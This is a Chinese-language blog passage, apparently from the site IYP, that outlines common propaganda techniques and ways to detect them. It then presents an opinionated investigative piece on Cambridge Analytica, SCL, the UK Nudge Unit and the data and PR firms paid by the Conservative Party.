正如通常的谬论一样，我们必须考虑论证的背景。在我们有权要求客观性的情况下，片面性是错误的。恕我直言，有两个这样的背景，那就是新闻报道和科学写作。倾向于新闻报道或科学写作都可能会导致读者得出错误的结论，故事本身就没有做到提供全方面信息，于是读者就此推论出的东西也是错误的。

3、Glittering Generalities—— 这种方法在民粹政客的宣传中最常见，它借用激烈的词汇唤起情感刺激，从而取代理性论证和明确的证据。这是一种泛化谬误的结合，其中一件事适用于另一件，催眠式的交谈使人们陷入轻微的恍惚状态（黑暗的房间和闪烁的灯光，就是那样的效果），其中使用名词给出一种实际感，事实上并不存在。

4、Name-calling—— 显然也是一种非常常用的政治实践，也是最容易做到的方法之一：就是随便抓一个人过来并诋毁他们。表明你“可以并且将会对任何对手这样做”。你可以对一个看起来很强大的人做这件事，以证明你不会害怕，你可以击败他。

你也可以对一个弱者这样做，表明没有人可以安全地避开你的愤怒。你甚至可以对一个普通人的周边人这样做，以表明“像你这样的人”也不会安全。

显而易见，辱骂是人们用来伤害他人或贬低他们的最常见策略之一。大多数沉迷于辱骂的人都知道他们选择用来描述另一个人的标签或名称并不是事实上准确的。同样，当一个人开始给你贴上标签或给你起外号时，感到受伤和施加防守是正常的。

而且还有一个更黑暗的版本，其中实施者并没有对话以支持情绪爆发，而是故意促进妖魔化。英文称之为**“Mud sticks”**，就是说人们更可能会相信一些关于某人的坏事，即使事实并非如此。宣传者将目标人或群体与某种恶劣的东西联系起来，于是，现在如果有人希望接近这个人或群体，就会被“污染”。比如将反抗者说成是“恐怖主义者”，或者将民主追求者说成是愚蠢和无知的代表，等等。

这就能促进一种社会隔离，这种宣传生效就会有越多的有人避开目标群体/个人。结果是一连串的隔离，并向那些可能捍卫目标团体或跟随其路线的人发出不寒而栗的警告。

5、Plain Folks—— 你可以理解为“群众路线”，虽然不那么准确。其实更准确的是 **IYP** 曾经强调警惕的“景观政治”。这种方法就是让领导者看起来很普通，以此来增加信任和信誉。所谓的’普通人’试图通过声称论证者“就像你一样”来实现短路推理，暗示你应该相信它们，比

如这样：

- 穿平凡的干净衣服，没有设计师的装备，没有'华而不实'的信息。在访问特定群体时，您可以通过穿着以表明您就像他们"一样"—— 想想马云的藏服？相关评论完全没有说到关键，这是一种渗透性的宣传。此外相关案例可以说比比皆是，记得特朗普访问菲律宾时穿的什么吗？
- 使用简单的单词，简单的语法和短句；经常停顿；与特定人群交谈时，请使用他们习惯的术语，但不要使用当地方言和专业术语。或许只使用一些本地词汇，或平行词汇，基本表达的是"我可能不是你，但我很喜欢你，无论如何我们都是一样的"。"我知道加税是一个坏主意。我也纳税"—— 请回忆我们在"劝导术"系列文章中分析过的"虚假帮派"，就是这个意思。
- 做'正常'的事。在家里做家务、出去跑步、遛狗、和你的孩子一起玩 ……然后拍照拍摄；发送出'我就像你一样'的肢体语言信号—— 这是一种典型的景观政治做法。中国的互联网用户倾向于看到其他国家的政客上传的普通生活照片和相关信息时表达"羡慕和赞美"，于是我们认为这点非常值得提醒：是关于民主习惯的一部分，切勿轻信政客提供的任何信息，当然包括民选政客。

景观政治即是这一时代的产物，也是推动力，它侵入人的潜意识，令人们在无形中被宣传所吸附，详见《中国政府已攀上景观政治的边缘》

2011年，共和党战略家、美国制造完美政治信息的专家 Frank Luntz 说过："我对这种反华尔街的努力非常害怕。我被吓死了。他们对我们产生了影响。我对美国人民对资本主义的看法感觉害怕"。接下来，Luntz 提供了关于共和党人如何讨论占领者之不满的提示，并帮助州长更好地处理选民提出的所有这些新问题。雅虎新闻参加了会议，并计算了来自 Luntz 的10个做法和注意事项，包括共和党人应如何通过改变他们讨论运动的方式以*进行反击*。详见《How Republicans are being taught to talk about Occupy Wall Street 》

6、Testimonial—— 吸引名人是对权威的最常见的谬误诉求之一。名人对产品的认可是如此普遍，以至于人们几乎注意不到它、也想不到为什么一个体育运动员试图向我们出售内衣。

名人不仅不会认可他们没有专业知识的产品，并且也很可能没有兴趣，只因为他们得到了报酬，你才会看到这些玩意。推荐不一定是真实的或诚实的。你可以付钱给人们让他们说出几乎任何东西，有些人

会很乐意用合适的金额说出你喜欢的任何东西。

小心付费这种事，即使是真正的支持也应该小心，金钱会让证言贬值，并可能以非常消极的方式被看待。一些广告商试图使用 doublespeak 来掩盖他们的发言人获得报酬这一事实。他们在屏幕底部放置了极小的“补偿代言”字样，显然希望观众不会理解这个词意味着发言人有报酬。

7、Transfer—— 是指通过与可信赖的他人、专业知识或想法，也就是实际上与主题无关紧要的东西，掩人耳目。如今，很多广告都是无言的，仅由图像组成，与被出售的产品无关，缺乏证据，甚至是谬误的证据。

例如，万宝路通过不断的渗透强壮、阳刚、独立、无畏的牛仔形象，与其香烟产品联系起来。你很难绕开这种联系，因为压根没有联系，这是一种暗示和影响。

很明显，渗透者也会使用这种方法，他们与已经具有高度信任和可信度的其他人或团体联系在一起，从而掩盖自己的目的。更多参见我们在《心理战》中的描述。

最近，人们对“睡眠者效应”进行了大量的讨论（和研究）。有说服力的信息的影响通常会随着时间的推移而减少。当更多时间过去时，有说服力的信息的影响更强的情况下，就会产生睡眠者效应。

检测欺骗性宣传——

使用批判性思维和推理技巧可以轻松检测欺骗性宣传：

- 学习谬论，记住谬误，认识谬论。
- 在提出论据时，找到声明和支持它的证据，跟踪来源并评估所提供数据的可信度。
- 寻找明显谬误的迹象。
- 努力理解为什么论证者认为证据保证了其声称并应用于分析。

的确，试图说服任何人都几乎是“不可能的任务”。每个拥有强烈意识形态的人，也就是绝大多数人，只想看、听、读他们已经相信的东西。

不过你可以试试幽默。幽默是不协调的艺术。看到、听到或读到与先入之见相冲突的东西已经不合时宜了，“正常”的反应似乎是拒绝新信息。但是幽默提供了一种新信息进入大脑的方法，你值得考虑。

此外，教育人们至少习惯于批判性思考可能是对抗我们目前所处的混乱局面的一种极好的反策略，但我没有在教育服务的体制规模上遇到过对批判性思考的强调。于是。这事你得自己来。

最后推荐一些书：

- How to Detect Propaganda (pdf)—Adapted from: The Institute for Propaganda Analysis, 1937 http://www.mindivogel.com/uploads/1/1/3/9/11394148/how_to_detect_propaganda.pdf
- Love is a Fallacy (pdf)—story by by Max Shulman p.10 https://www.dartmouth.edu/~aporia/spring08.pdf
- Propaganda and debating techniques http://www.orange-papers.org/orange-propaganda.html
- Logically Fallacious http://www.logicallyfallacious.com/index.php/logical-fallacies
- The Influence of Speaker Credibility on Information Recall (pdf)—Michael E. Corrie http://www.uwlax.edu/urc/JUR-online/PDF/2003/corrie.pdf
- Detecting and Explaining the Sleeper Effect (pdf)—Darlene B. Hannah & Brian Sternthal http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.455.3259&rep=rep1&type=pdf
- The Sleeper Effect in Persuasion: A Meta-Analytic Review (pdf)—Tarcan Kumkale and Dolores Albarracın http://home.ku.edu.tr/~tkumkale/sleeper.pdf

再推荐两个纪录片：

- The “Red Herring” and “Straw Man” Fallacy (difference) https://www.youtube.com/watch?v=exdK7Lirngg
- Chipotle Scarecrow (Honest version) https://www.youtube.com/watch?v=nYZgWYZlAZU

反洗脑不是说起来这么容易的，因为绝大多数宣传你根本意识不到。意识到它们的存在是抵制的第一步，希望上述内容能给您一些帮助。好运。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐

助通道已开通，您可以在网页上找到两个浅橙色按钮 广告

原文

心理操纵的秘密：”行为经济学”＋PR＝？ - iyouport

心理战和信息战算法暴政老大哥的真面目

【2019年8月20日存档】全球“右转”、全球民主指数持续多年严重下跌、这些情况究竟是怎么来的？真的只是什么民粹主义的结果吗？或者说它真的如政治学者从表面现象推断出的那么简单吗？有可能并不是。信息战的白热化发生在“地下”。 只关注隐私问题是不够的，是以偏概全的，然而其更为深层的问题一直被媒体忽略，是时候强调它了。

请注意报告中多次出现的几个误导性的宣传概念，比如“行为转化” = 操纵成功；“行为优化” = 完全合乎操纵者的利益；“促进/轻推” = 洗脑 / 让你自动认可操纵者的利益并误认为其来源于自己的本心；“行为科学”= 心理学的路西法版；“战略性沟通”= 欺诈 ……

剑桥分析公司不仅仅是一家公司，而是政府国防机构的一部分，这大概就是为什么 ***Wikileaks*** 希望能提供对剑桥分析公司内幕的资料以协助英国声称的“调查”但是被英国拒绝。这是一篇惊人的深度调查报告，揭露了一个致命的问题，关于：当权者正在秘密地摧毁民主制度。他们是怎么做的？

政治和企业经济正在推动“行为科学”的实施，包括“助推”（简称舆论操纵），以现任政府、决策者、官僚和公司的自我利益（和有限理性）为基础，但在很大程度上被忽视了，尽管我们中的一些人多年来一直对此表示担忧。

这些操纵者急于将人群描绘成非理性的和认知上有缺陷的，行为经济学家、政府、官僚和大公司游说、公关、“战略传播”和所谓的“咨询”行业的阴暗黑社会，似乎忽视了一些他们自己的高涨的“认知偏见”。无论是否有任何道德界限，这一切都源于他们对利润和权力的强烈追求。

一旦保守党在2010年随便宣布他们的“行为改变”议程，并设立了’Nudge Unit’，剑桥分析公司那类的丑闻也就不可避免了。人们怎么能指望一个专制政府会自行抵制利用所谓的“行为科学”伎俩来操纵公民的观念、认知、行为、选择以及最终投票决策的诱惑呢？——专制的定义就是抵制变革，行为操纵在此的性质也完全一样，把每个人变成当权者想要的样子。

剑桥分析公司的商业副总裁 Richard Robinson 曾经说过，让某人投票和说服他们购买哪一种品牌的牙膏之间没有根本性区别。他补充说：“当人们处于那种特定的思维模式下时就会自动以你想要他们理解的方式去理解特定事物”。Robinson 声称，要做到这点只需要使用大数据来分析公民，将“人”叠加在数据之上—— 这是以前广告商使用的方法，被称为“人性化营销”。

我不同意这个概念。我将对公民决策的监控、入侵和微观操控视为操纵商业行为的商品化和市场化的一种形式。未经我们的同意，也不会与我们分享所产生的利润。这是非常“非人性化的营销”。“（关联《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》）

我们的个人数据被用于构建“说服概况”，使用一组基于概率的估计—— 关于特定影响策略对个人的有效性，这也是基于特定的人在过去对这些策略的反应。其中一些公司也正在试验生物识别技术。营销中的许多企业公开承认他们的目标是*实现行为改变*。

私人公司和政府使用公民作为巴甫洛夫狗是不对的。这种针对性的说服策略严重破坏了人类的独立性，这是人类尊严和民主的核心。

基于数据挖掘的大规模监视和心理剖析，互联网已迅速成为一个对公民和人口进行分类、分析、排序和“管控”的圆形监狱环境。

数字跟踪和企业监控的强大工具，包括用于操纵意见和行为的技术，已经从公共产品服务营销领域转向以政治和选民为目标，是自然而然的。个人数据市场也一直是行为控制的市场。行为控制市场由那些出售操纵行为的机会以获得巨额利润的人和购买此类机会的人组成。

年初，政府的采购服务已经扩大了公共部门对所谓的“行为洞察”专家的选择。此前，行为洞察团队（Nudge Unit）是单一的供应商，但新的 Crown Commercial Service Behavioral Insights 框架将数量扩大到了六个。该框架保留了 Nudge Unit，新的供应商是CFE（研究和咨询），Kantar Public，McKinsey 和 Ipsos Mori。还有第六家供应商

不知道是谁，因为还没有正式签署新合同。

公关行业与营销、咨询、战略信息、行为经济学、舆论操纵等重叠，多年来一直在使用行为分析、心理分析和针对性宣传。很多企业一直在尽可能保密，这对研究构成了限制。

“数据密集型”公司以含混模糊的方式进行沟通，但在销售服务时它们更加大胆，在这种情况下，它们通过公开声明揭示内部实践。

下面举几个比较典型的例子—— 请记住这很可能不是全部。心理操纵市场已经如0day市场一样庞大和阴暗。

The Hunting Dynasty 是一个“行为洞察和传播机构”，在他们的网站上写着：“我们通过你的观众无法想象的方式来改善他们的行为，并且使用健全的科学、心理学和虚拟技术，无可比拟地提高你的叙事”，然后继续说“欢迎来到消除破坏性行为的第一步”。—— 请注意，“改善”和“破坏性”等文字都是狡辩性宣传措辞。

“我们独特的深度应用和学术行为知识的结合，以及在世界上最大的广告代理商工作的经验，使我们每次都能提供强大的、全栈的开箱即用的 *A* ＋项目和保留服务。 ”

该公司于2015年获得黄金零售’Nudge 奖’，并于2016年和2017年入围该奖项。（Nudge 的中文意思是“将特定的人向某一个特定的方向引领/助推”，你可以理解为中国当局追求的“舆论引导”，其目的是仅仅合乎操纵者的利益。当然这也是一个非常狡猾的概念，准确说它应该叫洗脑—— 你已经被操纵了，却还以为自己的立场出于自己的本心。这种邪恶的伎俩居然还有一个奖项，看起来有些人至少还需要重看《发条橙》）

BeWorks, 是采用同类手段的公司的另一个例子，它将自己描述为“第一家致力于将行为科学应用于战略、营销、运营和政策挑战的管理咨询公司”，同时“利用强大的力量”行为经济学的见解，以解决您最棘手的挑战。“

他们为政府、能源行业、金融服务业、保险业和零售业工作，自称“帮助组织将行为经济学融入他们的文化”。

该公司表示：“该团队将认知和社会心理学，神经科学和市场营销领域的领先学者与管理咨询专家相结合。我们的多学科专业知识使我们能够为客户提供最新的科学见解和战略性商业视角“。

他们还写了一篇文章，题为：《科学如何帮助投票》。他们声称“我们的科学家和商业专家团队提供了一种强大的方法，可以分析并可衡量地影响人们的决策”。

他们继续说“测量大脑活动和其他生物指标的神经营销研究是衡量真实情绪反应的另一种方式，而不是依赖于人们的感受。EEG帽和生物识别带是最常用的工具，但其他技术—— 从阅读面部表情到测量反应时间的微小差异等伎俩—— 也被使用。“

在六年的时间里， Ogilvy 公关全球首席执行官 Christopher Graves 消化了800多项初级研究，将行为经济学、神经科学、和叙事理论中的新发现联系起来，以“对通信中的叙事效果提出新的观点”。

这一发现推翻了通信专业人士通过传统智慧所认为的大部分内容。该公司得出结论：“情绪化叙事胜过任何分析性消息。所有人类决策都在很大程度上取决于情绪，我们说服或解释的努力也需要植根于引发情绪的叙事。“（关联 《请记住：你一直在被社交媒体操纵》《为什么民粹主义蓬勃发展？部分要归罪于今天的技术》《“我永远正确”背后的动机》《恶性偏见和无实效的争议》）

Linstock 通讯咨询公司表示，他们是：“获奖的通信顾问，专门研究行为科学所涵盖的领导和危机管理。”

Instinctif Communications DMCC 说：

“公关领域可以影响变革。为了更成功地做到这一点，该行业需要找到一种更加科学的方法来定位受众，即 希望改变的目标受众。公关行业要清楚地认识到这一点，我认为采用更多的靶向战略将成为公关公司的责任。

“公关行业的一个非常积极的发展将是采用更先进的方法来定位目标，使用基于行为经济学的技术。行为洞察团队的开创性工作，以了解影响公众决策的因素，并设计“推动”这些因素以获得政府所期望的结果，当然可以在私营部门复制。

这些技术一直被鼓励用于竞选的成功，这是*PR*的长期问题。举一个简单的应用例子，通过衡量一段时间内的沟通活动之前和之后的关于人们行为或情绪的差异，可以更清楚地了解一个活动的成功程度。反过来，这种洞察力可以用来“改善”沟通战略和策略。

“尽管处于起步阶段，行为改变仍然是一个迷人的值得精进的领域，

未来十年可能会出现重大的关注和增长。”

Instinctif 称其提供“战略洞察力和创造性解决方案；政府关系、公共和公司事务服务，包括 政治游说、战略信息、分析和建议、媒体和声誉管理任务、以及公共事务培训服务。“

> Cambridge Analytica 并不是唯一一家受雇于政府以操纵民主的公司

目前，媒体关注的只是剑桥分析公司和 **Facebook** 的罪行。这是远远不够的。还有许多其他私营公司参与操纵我们全球的民主投票阶段，采用同样深度的不道德和反民主的方法。 Crosby Textor 就是一个典型例子。

虽然政府有争议的“黑暗广告”活动去年引起了一些公众评论，部分原因是它使用大数据和心理特征描绘来操纵个人特征和特点，但似乎没有人注意到除了隐私权丧失之外的更深层的问题。*From the Crosby Textor Group site*

政府声称他们没有使用 Cambridge Analytica 进行竞选活动。然而，在2017年，保守党使用了几个类似的神秘私人公司，这些公司均将数据分析、心理剖析和“行为改变”用于研究、调查、宣传和定位具有“战略沟通”意义的目标选民—— 同样是利用目标群体的心理特征和倾向。我浏览了选举委员会网站上列出的保守党竞选佣金，以寻找以下内容。

> 政府使用 Experian（

Blue Telecoms 提供因“未经请求的选民材料”和“广告”被支付了375,882.56 英镑。该公司在他们的网站上说，Blue Telecoms 是 Direct Market Solutions Ltd.的交易名。公司董事是 Sascha Lopez，他是2017年地方选举中担任保守派地方议会候选人的商人。他也是洛佩兹集团的活跃董事。

为 Channel 4 News 工作的卧底记者在南威尔士 Neath 的 Blue Telecoms 工作。这是一个受失业和低工资困扰的地区，该呼叫中心居然雇佣了多达**100**人的零时工合同。几周以来，他们联系了数千名英国边缘席位的潜在选民（边缘席位是各个政党争夺的重点）。

受雇的人被告知他们正在为一家名为“Axe Research”的市场研究公司工作。但是并没有这么一个公司在英格兰和威尔士注册。此外，这些

受雇者被要求对外宣称该中心位于 Cardiff，而不是 Neath。

在代表保守党发出的电话中，调查发现了该中心的阴暗并且可能是非法的行为。这些指控包括：

- 代表保守党选举候选人付费拉票—— 根据选举法非法；
- 政治性冷呼叫被禁止的号码；
- 其误导性的呼叫声称来自“独立市场研究公司”但所谓的的公司并不存在。

保守党已经承认委托 Blue Telecoms 在竞选活动期间进行“市场调查和直接营销电话”，并坚称这些电话是“合法的”。保守党发言人说：“各种派系的政党都支付市场调查和直接营销电话。党派为这些电话提供的所有脚本都符合数据保护和信息法。“

但是，我发现支付给 **Blue Telecoms** 的资金记录并未被列入“市场调查”。它们被列为“广告”和“对选民未经请求的宣传材料”。

⚠ 大多数“广告”都是基于数据收集、数据分析和心理剖析，这些广告用于根据人们的希望、恐惧、焦虑、一致性程度和其他一般性格，针对性制作说服模版，未经任何人同意。

另一家由保守党在大选期间使用并支付120,000英镑进行市场调查和拉票的公司是 Outra。 Jim Messina 是执行董事，团队包括 Lynton Crosby。

Messina Group Inc 还获得了544,153.57英镑的运输、广告、市场研究和拉票支付。该公司使用数据分析和“情报”服务。该公司开展“目标广告计划[...]，确保通过 **Facebook**、地理定位、邮政编码、**IP**地址、和其他策略进行精确定位”。

该公司还说：（以下这些都包括）

这些阴暗的公司之间密切相连。Messina Group 与 Outra 建立了“战略合作伙伴关系”，是 Outra 在数据、分析和“客户互动”方面的主要顾问之一。

英国选举法禁止不同竞选团体之间的协调，这些竞选团体必须遵守严格的支出限制。如果他们计划策略或协调一致，组织必须分担支出上限。

被列为“管理咨询公司”的 Combobulate 在研究选民/拉票方面获得了

43200英镑酬劳，并为“选民提供了未经请求的材料”。

该指挥者被列为 Nicholas Jack Walton Mason，也被列为 Uplifting Data 的指挥者。Mason 还被列为 Mason 投资顾问有限公司的董事，该公司已被通过罢工强制性解散。但是，我找不到 Combobulate 的信息网站，这里是我发现的唯一一个奇怪的网站。我找不到任何其他网站。

另一家类似的公司 An Abundance Limited 也被列为“行为改变机构”，在去年大选之前，保守党为市场研究和拉票对其支付了 2400 英镑。

Populus 数据解决方案公司称他们提供“最先进的数据采集”，他们为研究/设计和“未经请求的选民材料”获得了196,452英镑的酬劳。该公司还开发了生物识别技术—— 特别是特定的面部识别编码。

St Ives 管理服务公司被支付了3,556,030.91 英镑，用于研究/评估、“对选民的宣传材料”、广告、间接费用和一般管理、以及策划媒体宣传和现场集会等等。

数字咨询公司 Edmonds Elder Ltd 的广告收入为156,240.00 英镑。该网站称该公司还提供概念模糊的“政府事务”服务：“我们利用尖端的数字技术帮助政府事务团队为其政策和监管职位提供理由—— 利用全国各地社区的支持，确保取得积极成果。”

Craig Elder 也是保守党的数字操弄者。Tom Edmonds 是2013年至2015年间保守党的创意总监。

Hines Digital 是 Edmonds Elder Ltd 的合伙人，这“是一家保守派数字代理商，为我们的客户建立强大的品牌、庞大的电子邮件列表、和大联盟筹款收入，帮助保守派的政治活动、事业和公司，实现他们的目标。”

该网站称，“**Hines** 在美国的**15**个州和其他**9**个国家开展了促进保守派的运动和事业。”—— “全球右转”之趋势真的只如某些政治学者所分析的那样简单吗？该公司在2016年设计了 Theresa May 领导活动的“数字基础设施”，他们建立了自己的网站（网站未列入选举费用）Hines 说：

“这个及时的初始网站发布被证明是非常宝贵的。在第一天，她的整个电子邮件列表中就有约*35*%的人报名参加，第一天的重要一击是因

为她的团队—— 部分由 *Edmonds Elder* 的合作伙伴领导—— 准备通过有效的在线组织来利用当天获得的媒体影响力。

总的来说，最初的登陆页面在第一天就看到了***18***%的转化率—— 这意味着访问该网站的近*1/5*人报名参加了该活动。对于同类为招募支持者而优化的网站而言，这是一个非常棒的成效。“（转化率的意思是操纵行为成功的比例）

并且，他们还说：“我们是在线识别人的专家—— 并将人作为目标，推动组织需要的活动。”

对于这样的政治广告来说，它们并没有任何事实核查，并且，*只有目标人才能看到它们*。

Walker Media Limited 是一家数字营销和媒体公司，它们促进 Facebook 广告和活动以及其他服务。他们从保守党的竞选活动中获得了798,610.21英镑的报酬。他们网站上列出的其他社交媒体营销活动之一是“户外和狩猎”。

Simon Davis 是 Walker Media Holdings Limited 和 Blue 449 的首席执行官。Davis 曾担任全球公关和广告公司 M＆C Saatchi plc 的 Walker Media 常务董事，他曾在保守党工作过，设计竞选海报和反劳工广告—— 特别是有争议的’新工党，新危险’广告。

该公司有一些子公司业务包括“利用数据通过数字媒体有效地查找、吸引和转化目标用户的行为”。M＆C Saatchi 收购了在线媒体情报机构 **Human Digital**，后者自称其“创新方法将丰富的行为洞察力与强大的指标相结合。”

⚠ 整个被淹没的阴暗市场从数据挖掘和分析、“目标受众细分”、行为改变技术、“战略沟通和政治游说”中获取巨额利润。公关行业的大部分建立在相同的利益领域：金融利益、维持权力关系、和支持特权阶级的既得利益。监视和说服行业的地下行动以及其对公民的操纵已成为企业的常态，并始终隐藏在公众视野之外。

新自由主义已演变成一种监视和微观调节相结合的资本主义形式。传统的大众营销变得更加集中化，使用精确的目标营销技术，这些技术可以对个人消费者进行心理描述、分类、细分和定位所有形式的宣传和说服。这类针对性营销需要大量的个人数据和“消费者”的行为概况。

监视和有针对性的营销还包括使用生物识别技术。例如，*Endless gain* 他们自称：“使用生物识别和心理学，“理解人类的情感和行为，以优化人类的情感和行为。我们的方式可以帮助我们的客户转化更多的目标群体，让他们保持更长时间的行为，并让他们花更多的钱。“

Endless Gain 在他们的网站上声称“优化转换”的方式与 Nudge Unit 的行为经济学家声称的“优化决策”一样，旨在使公民的选择与新自由主义结果保持一致。

该公司使用眼球跟踪、面部表情识别、皮肤电反应、脑电图和瞳孔扩张—— 生物测定学，以及传统的心理学研究，“将生物识别研究与几十年的学术心理学研究结果结合起来—— 特别是在情绪化决策和心理学方面产生强大的说服力—— 对您的网站进行更改，从而增加收录和转化次数。“

其他公司，如极具影响力的 Crimson Hexagon，使用的是 AI。 该公司总部位于马萨诸塞州波士顿，并在伦敦设有欧洲分部。**Edelman Intelligence** 是一家大型公关公司，也是该公司的客户，**Twitter** 也是。该公司的在线数据库中包含超过**1**万亿个帖子，包括来自 **Twitter** 和 **Facebook** 等社交网络的文档以及博客、论坛和新闻网站。

该公司的 ForSight 平台是 Twitter 认证产品。（另请参阅：*The anti-social public relations of the PR industry,*，详细介绍了该公司用于收集数据和情报以及制定战略通信的侵权性“**360**度”社交媒体监听和监控，以诋毁任何批评者⚠）

这种程度的监视和说服是商品化和控制的深层次侵入形式，有效地将公民从他们自己的特征、观念、行为和选择中驱逐出去，同时产生旨在进行数据挖掘、行为分析、行为预测和行为修改的利润丰厚的市场。

此外，数据收集，分析和剖析很可能构成牢固的歧视，反映并加强物质和权力的不平等。信用参考机构、保险公司和金融部门此前已经证明了这一点。

数据挖掘、分析和说服市场的存在是因为大公司和政府希望对公民进行微观操控和精神控制。然而，这种侵入性监视和操纵对我们的民主规范和个人自治提出了根本性挑战。

量身定制和有针对性的“战略沟通”和说服是基于行为建模和预先假定

的偏好，这可能不是准确或全面的。然而，这种方法明确排除了公民能够获得的替代选择和发展新偏好的可能性：被操控的人无法再获得全方位的选择、学习和发展。

⚠ 公民的概念已经不复存在。每个人的生物、心理和决策被商品化，并将人性转化为大企业的利润，以加强并保持企业的权力。（更多分析详见我们去年的警告《当 “不作恶” 成为空谈，“定制人”将终结民主》）

剑桥分析公司的丑闻凸显了民主是如何被侵蚀的，因为政府正在花钱购买使用这些复杂的说服技巧来过度影响选民和维持霸权的能力，目的是扩大和规范主流政治叙事，为新自由主义政策辩护。

所谓的“行为科学”正在被用于我们社会的各个层面，从许多政策计划——它已经融入我们的机构——到“专业知识”的形式，以及通过国家对大众媒体和其他社会和文化系统的影响。它也在潜意识层面运作：它嵌入在政治叙事中使用的语言中。

重复是一种古老的宣传技巧，有时可行。然而，政府的“强大而稳定”的意识形态主题已经导致了嘲笑，因为这种宣传实在是太明显了，已经变成了一种拙劣的说服技巧。但是，所有那些仍然不透明的心理语言线索操纵呢？人们似乎还没有意识到它的危险性。关联《通过一个小标签操纵你的认知的宣传方法》，另外关于政治宣传的隐秘伎俩指南《宣传战的诡迹》。

⚠辩论的基点不应该是关于这些操纵公民行为的方法“是否完全有效”，否则就会使我们分散注意力忽略了使用这些操纵伎俩背后的意图——特别是对公民自治、公民权利和民主的影响。

寻求利润的私营公关公司支付给品牌、市场、设计追随者，建立信任和可信度，并且通常出售微观管理个人或组织之间信息传播的做法（例如商业、政府机构、媒体）。

这些公司中的大多数都使用“行为科学”策略（只是心理战的委婉说法）来实现这一目标。⚠ 这是一个黑暗的世界，政府支付的操纵建议不要谈论“资本主义”、而是讨论“经济自由”、“商业友好政策”或“自由市场”；不要谈紧缩，而是简单地转化为“平衡预算”或“自己掌握生活”；病人和残疾人被当权者削减生命线支持难以寻找工作的政治胁迫不要谈，要谈“平等和社会正义”或“帮助他们更接近就业”；宣传和欺骗被称为“战略沟通”和“公关”；心理胁迫被称为“行为科学”……中国读者对此可能再熟悉不过了。

在政府研究所的网站上，MINDSPACE 行为经济学部分讨论了“行为改变理论”和“通过公共政策影响行为”的方法。使用管理学语言和 psychobable 语言。还有很多。但可以肯定的是，在民主国家，公共政策应该反映和服务于确定的公众需求，而不是具体政策结果和政府需求；政府应该根据政策而不是基于他们为公关、战略沟通、行为改变技术和监视人口而支付的金钱来针对公民。

我们没有任何措施可以阻止强大而富有的闯入者—— 例如罗伯特·默瑟（Robert Mercer），也不可能阻止选举法的终结。Mercer 通过 Cambridge Analytica 向 Nigel Farage 支付数据分析服务，在英国脱欧活动中发挥了关键作用。

⚠ 该公司能够通过其从人们的 Facebook 个人资料中获取数据的能力为“脱欧”提供建议，以便通过个性化的说服性信息指挥人们的投票。然而，尽管法律要求所有价值超过7,500英镑的捐款必须报告，但Leave.EU并未向英国选举委员会通报捐赠情况。

现在看来，剑桥分析公司背后的主要参与者已经成立了一家神秘的新伦敦数据公司，名为 **Emerdata**， Robert Mercer 特朗普支持者的女儿—Rebekah 和 Jennifer—于3月16日作为董事加入。灰头土脸的亚历克斯·尼克斯（Alex Nix）也是董事之一，还有母公司 SCL 的其他高管，包括朱利安·惠特兰（Julian Wheatland）。

目前尚不清楚 Emerdata 的做法，尽管该公司已经被列入“数据处理、托管和相关活动”。它还与剑桥分析公司的母公司 **SCL** 集团在 **Canary Wharf** 共享一个地址，该公司声称自己是“全球选举管理机构”。

SCL 声称他们可以影响特定的行为：“例如—— ⚠ 你需要相当多的选民投票给你，让他们投票比让他们仅仅对你抱有好感更为重要。 ”

早在2005年，Slate 报道了“人口心理控制”的兴起，通常在 **PsyOps(心理操纵)** 的标题下，作为一种商业服务形式。 PsyOps 领域当然一直都是一个模糊的领域。作为一种工具，它既可以用来防止紧急情况下的公众恐慌(保持情绪稳定)，也可以用来支撑一个本来会失败的专制政府。

根据该报告，“一家名为战略通信实验室有限公司（SCL）的公司在一个著名的伦敦军火交易会上宣传自己，这表明它可以欺骗人们相信任何数量的东西，试图转移公众的注意力远离实际的灾难或类似的危险情况。 —— 中国读者对这种潜移默化的宣传形式也应该是非常熟悉

的，比如，让政府出丑的突发事件出现时往往“伴随着”明星出轨/吸毒的花边新闻。

当 Slate 记者表示这听起来像政治宣传时，SCL 的公共事务总监 Mark Broughton *狡辩性地*否认这一事实，并说：

“如果你对宣传的定义是利用框架化通信来做一些能够拯救生命的东西，那就没问题了。这不是我会使用的那个词。“

然而，该公司的网站建议不要对外说他们可以提供“最多**250**名员工的培训，包括专业（和量身定制）的说服和宣传技巧的课程。”

⚠ SCL 声称其方法已得到英国政府机构和美国联邦政府等机构的“认可”。

⚠ 由于在新自由主义国家利润激励优先于的道德激励，结果是，存在许多模糊的（通常是相互关联的）这类公司，它们以相同的方式运作，并且与 SCL 和 Cambridge Analytica 具有相同的目标。并且，因为那些掌权的人愿意为地下私营公司支付巨额的费用，这些公司兜售强大的*说服技术*以保持权力。

这些私营公司将私人利益推广到无国界金融、公共关系、战略沟通、行为改变和技术，作为寻求增强自身利润和权力的权势拥护者。

⚠ 最重要的并不是这种操纵需要在多层次上利用公民的私密数据，而是滥用“行为科学”、以及北约和其他组织为维持现状而制定的*心理战策略*，并在宣传、说服和心理战实验中*利用公众的心理弱点*，而没有经过任何人的同意。

SCL 作为英国国防部的“清单X”承包商获得了秘密批准，并且一直把自己描述为行为动力学和心理战领域的专家，但他们现在在算法数据处理方面没有已知的相关背景知识。

SCL 的负责人之一是 Mark Turnbull。Turnbull 此前曾为有影响力的公共关系和战略传播公司 Bell Pottinger 工作—— 这地方由臭名昭著的公关大师 **Timothy Bell** 勋爵联合创立—— Turnbull 在该公司工作了18年。

2004年，他创立并领导了 Bell Pottinger Public Advocacy（BPPA，fka Bell Pottinger 特别项目），该项目声称专注于“理解和影响冲突与合作的人类和社会动态…… **[使用] ……**人们的身份、个人兴趣、关系网络、和叙述技巧，是其焦点，旨在为支持政治、社会、发展或

军事目标提供可衡量的变革。“

指挥官 Steve Tatham 在伊拉克服役，他指挥阿富汗军团多年。他还在英国国防学院担任通信研究主任，并且是英国历史最悠久的宣传影响力活动官员。退休后，他成为 IOTA-Global 的运营总监，IOTA-Global 是一家英国公司，由 SCL 及其研究机构行为动力学研究所（BDi）的创始人 Nigel Oakes 拥有。

Tatham 代表*北约战略传播中心*为拉脱维亚国防学院设计了一个名为“目标受众分析”的课程，教授几个机构如何对抗俄罗斯在东欧的宣传。

